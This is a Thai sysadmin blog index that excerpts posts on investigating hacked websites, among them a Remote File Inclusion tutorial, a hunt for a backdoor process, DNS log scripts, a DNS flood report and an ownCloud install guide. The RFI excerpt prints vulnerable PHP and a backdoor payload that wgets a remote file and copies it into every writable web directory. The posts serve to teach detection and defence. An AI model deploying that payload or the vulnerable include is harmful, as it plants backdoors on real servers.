วิธีตรวจสอบเว็บไซต์ที่โดน Hack #10

ในบทความนี้ จะพูดถึงช่องโหว่ที่เรียกว่า Remote File Inclusion หรือ RFI [1] จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9 ที่พูดถึง ช่องโหว่ประเภท XSS หรือ Cross-site Scripting ซึ่งอาศัยข้อผิดพลาดของการเขียนโปรแกรม ที่ทำให้ Hacker สามารถแทรก JavaScript ซึ่งจะได้ข้อมูลของ Web Browser และสามารถเปิดโอกาศให้ ผู้ใช้ของระบบ สามารถเขียน JavaScript ลงไปใน Database สร้างความเป็นไปได้ในการขโมย Cookie ID ของ Admin แต่ RFI เป็นช่องโหว่ ที่เกิดจากการเขียนโค๊ด ที่เปิดให้มีการ Include ไฟล์จากภายนอก จาก Internet ได้ ซึ่ง เปิดโอกาศให้ Hacker สามารถทำได้ตั้งแต่ เรียกไฟล์ /etc/passwd มาดูก็ได้ หรือ แม้แต่เอาไฟล์ Backdoor มาวางไว้ เรียกคำสั่งต่างๆได้เลยทีเดียว โปรดพิจารณาตัวอย่างต่อไปนี้ ไฟล์แรก form.html มีรายละเอียดดังนี้ <form method=”get” action=”action.php”>    <select name=”COLOR”>       <option value=”red.inc.php”>red</option>       <option value=”blue.inc.php”>blue</option>    </select>    <input type=”submit”> </form> ให้ผู้ใช้ เลือกสี red หรือ blue แล้วส่งค่าดังกล่าว ผ่านตัวแปร COLOR ไปยัง action.php ผ่านวิธีการ GET ไฟล์ที่สอง action.php มีรายละเอียดดังนี้ <?php    if (isset( $_GET[‘COLOR’] ) ){       include( $_GET[‘COLOR’] );    } ?> โดยหวังว่า จะได้ Include red.inc.php หรือ blue.inc.php ตามที่กำหนดไว้ เช่น http://localhost/rfi/action.php?COLOR=red.inc.php แต่ เป็นช่องโหว่ ที่ทำให้ Hacker สามารถ แทรกโค๊ดอันตรายเข้ามาได้ ผ่านตัวแปร COLOR ได้ หาก Hacker ทราบว่ามีช่องโหว่ ก็อาจจะสร้างไฟล์ Backdoor ชื่อ makeremoteshell.php เพื่อให้แทรกผ่านการ include ผ่านตัวแปร COLOR ดังนี้ <?php $output=shell_exec(”     wget http://localhost/rfi/rfi.txt -O /tmp/rfi.php     find /var/www -user www-data -type d -exec cp /tmp/rfi.php {} \;     find /var/www -name ‘rfi.php’ “); echo nl2br($output); ?> ซึ่ง จะทำงานผ่าน function shell_exec ซึ่งสามารถเรียกคำสั่งของ Shell Script ได้ โดย ไปดึงไฟล์จาก http://localhost/rfi/rfi.txt (สมมุติว่าเป็น Website ของ Hacker ที่จะเอาไฟล์ Backdoor ไปวางไว้) แล้ว เอาไฟล์ดังกล่าว ไปเก็บ /tmp/rfi.php และจากนั้น ก็ค้นหาว่า มี Directory ใดบ้างที่ Web User ชื่อ www-data เขียนได้

Read More »

วิธีตรวจสอบเว็บไซต์ที่โดน Hack #8

ได้รับข้อร้องเรียนจาก Google Webmaster Tools ว่า มีเครื่องภายในมหาวิทยาลัย พยายามโจมตี เครือข่ายภายนอก และทาง Firewall ของมหาวิทยาลัย ได้ทำการปิดกั้น การเข้าออก ของเครื่องดังกล่าวแล้ว จึงเข้าตรวจสอบ  ขั้นตอนการตรวจสอบ  1. เบื้องต้น พบว่าเป็น  Ubuntu 8.04.4 LTS 2. ตรวจสอบ ทำให้ทราบว่า Web User ใดที่สั่งให้ httpd ทำงาน ด้วยคำสั่ง  ps aux |grep http  ผลคือ  nobody   31159  0.0  1.5  29056 15588 ?        S    Dec17   0:00 /opt /lampp/bin/httpd -k start -DSSL -DPHP5  จึงทราบว่า Web User ใช้ชื่อว่า ‘noboby’ (จากที่เคยคุ้นชินกับ www-data, apache อะไรทำนองนั้น)  3. ตรวจสอบ Process อย่างละเอียดด้วยคำสั่งต่อไปนี้  ps auxwe  ผลที่ได้ พบว่า มี Process ของ httpd ทั่วๆไป จะแสดงรายละเอียดอย่างนี้ nobody     3460  0.0  1.3  28060 14348 ?        S    Dec01   0:00 /op t/lampp/bin/httpd -k start -DSSL -DPHP5 LESSOPEN=| /usr/bin/lesspipe %s USER=root MAIL=/var/mail/root SHLVL=4 LD_LIBRARY_PATH=/opt/lampp/li b:/opt/lampp/lib:/opt/lampp/lib: HOME=/root LOGNAME=root _=/opt/lampp/ bin/apachectl TERM=vt100 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin :/usr/bin:/sbin:/bin LANG=en_US.UTF-8 LS_COLORS=no=00:fi=00:di=01;34:l n=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01 :su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.t gz=01;31:*.svgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31 :*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.bz2=01;31:*.b z=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*. rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:* .jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;3 5:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=0 1;35:*.png=01;35:*.svg=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg =01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*. m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35: *.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;3 5:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.aac=00;3 6:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=0 0;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36: SHELL=/bin/bash L ESSCLOSE=/usr/bin/lesspipe %s %s PWD=/root แต่ พบว่า มีอยู่รายการหนึ่ง แสดงผลอย่างนี้  nobody    5106  0.0  0.2   4168  2184 ?        S    Nov21   1:17 /usr /local/apache/bin/httpd -DSSL                                                                                    -m a.txt HOME=/nonexistent O LDPWD=/var/spool/cron LOGNAME=nobody PATH=/usr/bin:/bin SHELL=/bin/sh PWD=/home/wwwroot/experience/images/smilies/.laknat/.libs  จึงตรวจสอบ Process PID 5106 ด้วยคำสั่ง  ls -la /proc/5106  ผลที่ได้คือ  ซึ่ง จะเห็นได้ว่า Process นี้ สั่งทำงานจาก /home/wwwroot/experience/images/smilies/.laknat/.libs/httpd แต่ ก่อนหน้านี้ ผู้ดูแลระบบ ได้ สำรองข้อมูลออกไป แล้วลบทิ้งไปก่อนแล้ว จึงขึ้นคำว่า (deleted)  จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6 พบว่า Hacker มักจะเขียน crontabs เอาไว้ เรียก Backdoor กลับมาอีก จึงทำการตรวจสอบที่ /var/spool/cron/crontabs ด้วยคำสั่ง  ls -l

Read More »

dnsqsum script

DNS Query Summary Script สำหรับ Summary DNS Query Log เพื่อดูว่ามีการ query มาจาก host ใหน และ query domain ใหนบ้าง โดยแสดงเฉพาะ Top 10 — quick & dirty version — #!/bin/bash QLOG=”/var/log/named/query.log” [ ! -f “$QLOG” ] && echo “Log file ‘$QLOG’ doesn’t exist?” && exit DCOL=6 V=`head -1 $QLOG | cut -f5 -d’ ‘` if [ “$V” = “view” ]; then DCOL=8 fi echo “===== Source of Query =====” cat $QLOG | cut -f4 -d’ ‘ | cut -f1 -d’#’ | sort | uniq -c | sort -rn | head echo “=———————-=” echo “===== Domain to Query =====” cat $QLOG | cut -f$DCOL -d’ ‘ | sort | uniq -c | sort -rn | head echo “=———————-=”

Read More »

update fail2ban after DNS query attack

หลังจากทิ้งไว้นานกว่า 1 ปี ในที่สุดการโจมตีในลักษณะของการ DOS attack สำหรับ DNS Server ก็กลับมาอีกรอบ วันนี้ (2013-12-11) คุณ สงกรานต์ก็ post ข้อความในกลุ่ม PSU Sysadmin บน facebook ว่า DNS Server หลายๆเครื่องที่อยู่ภายในเครือข่ายของ PSU มี traffic เกิดขึ้นมากผิดปกติ และมากกว่าตัว DNS Server หลักของมหาวิทยาลัยเอง {ns1,ns2}.psu.ac.th ซึ่งตัว DNS Server ทั้งสองโดยทั่วไปแล้ว เนื่องจากเป็นเซิร์ฟเวอร์ที่ให้บริการเป็นหลักให้กับเครื่องคอมพิวเตอร์ทั้งหมดภายในมหาวิทยาลัย ก็ควรที่จะมี traffic สูงกว่า DNS Server ตัวอื่นๆ แต่เมื่อเครื่อง DNS Server อื่นๆมี traffic สูงกว่า ก็พอที่จะบอกได้คร่าวๆล่ะว่า มีเหตุการณ์ผิดปกติเกิดขึ้นแน่ๆ ในจำนวน server เหล่านั้น มีเครื่องเซิร์ฟเวอร์ที่ผมดูแลอยู่ด้วย เป็นเครื่องที่ใช้สำหรับสอน นศ. ในรายวิชา Linux Server Admin. ซึ่งหัวข้อหนึ่งที่นศ.จะต้องเรียน ก็คือการติดตั้งและให้บริการ Name Service ซึ่งเครื่องเซิร์เวอร์เครื่องนี้ นอกจากจะใช้เป็นตัวอย่างในการ setup แล้ว ยังทำหน้าที่เป็น 2nd DNS ให้กับ domain ของ นศ. ทั้งหมดด้วย (นศ. มี domain ของตัวเองคนละ 1 domain) logfile ที่เกิดจากการ query มีขนาดมากกว่า 2GB จากการเก็บ log ของการ query ในช่วงเวลาประมาณ 3 วันครึ่ง (เริ่ม 2013-12-08 16:25 จนถึง 2013-12-11 12:40) เมื่อเทียบกับ log ปกติมีขนาดประมาณ 1-2 MB สำหรับการเก็บ log ในช่วง 1 สัปดาห์ หรือถ้าเทียบในแง่ของจำนวนของการ query ในช่วง 3 วันที่ผ่านมามีการ query ประมาณ 18 ล้านครั้ง เมื่อเทียบกับการ query ปกติประมาณ 15,000 ครั้งต่อสัปดาห์ การโจมติมาจากใหนบ้าง? 7778377 95.211.115.114 3870621 93.170.4.34 2596494 94.198.114.135 2581297 95.211.216.168 331584 199.59.161.6 53137 216.246.109.162 47351 205.251.194.32 46793 205.251.193.79 41119 156.154.166.38 39572 156.154.166.37 39501 54.230.130.116 36855 205.251.198.179 34079 42.112.16.162 31690 134.255.243.100 28662 205.251.197.226 27481 212.118.48.20 23435 204.188.252.146 20565 82.221.105.131 20477 89.184.81.131 19036 95.141.37.197 17404 72.20.56.200 14156 206.72.192.13 11510 82.221.105.139 10387 5.135.14.245 ตัวเลขในคอลัมน์แรกคือจำนวนครั้งที่มีการ query และในคอลัมน์ที่สองเป็น ip address query อะไรบ้าง? ถ้าดูข้อมูลคร่าวๆก็จะได้ 08-Dec-2013 06:58:54.295 client 192.99.1.168#9118: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85) 08-Dec-2013 06:58:54.296 client 192.99.1.168#19072: view

Read More »

How to: install Owncloud (Easy method)

สำหรับ Ubuntu 12.04 เท่านั้น เปิด terminal พิมพ์คำสั่ง (ไม่ต้องพิมพ์ $) $wget -q -O – http://download.opensuse.org/repositories/isv:ownCloud:community/xUbuntu_12.04/Release.key|sudo apt-key add – wget -nv https://download.owncloud.org/download/repositories/stable/xUbuntu_12.04/Release.key -O Release.key apt-key add – < Release.key ต่อด้วย $sudo sh -c “echo ‘deb http://download.opensuse.org/repositories/isv:ownCloud:community/xUbuntu_12.04/ /’ >> /etc/apt/sources.list.d/owncloud.list” sh -c “echo ‘deb http://download.owncloud.org/download/repositories/stable/xUbuntu_12.04/ /’ >> /etc/apt/sources.list.d/owncloud.list” apt-get update apt-get install owncloud ปิดท้าย $sudo apt-get update $sudo apt-get install -y owncloud ต่อด้วยคำสั่ง $sudo /etc/init.d/apache2 restart เปิดเว็บ http://localhost/owncloud เพื่อสร้าง user ที่เป็น admin ชื่ออะไรก็ได้ตามสะดวก และตั้งรหัสผ่านให้เรียบร้อย คลิก Advanced เพื่อดูค่าอื่นๆ เช่น โฟลเดอร์ที่ใช้เก็บข้อมูล การตั้งค่าฐานข้อมูลว่าจะใช้อะไร แบบง่ายนี้ขอใช้ sqlite ไปก่อนเพื่อความรวดเร็ว คลิก Finish Setup ระบบจะล็อคอินเป็น user ที่สร้างให้คนแรกโดยอัตโนมัติ ที่เหลือ … ขอให้สนุกครับ ที่มา http://software.opensuse.org/download/package?project=isv:ownCloud:community&package=owncloud https://download.owncloud.org/download/repositories/stable/owncloud/

Read More »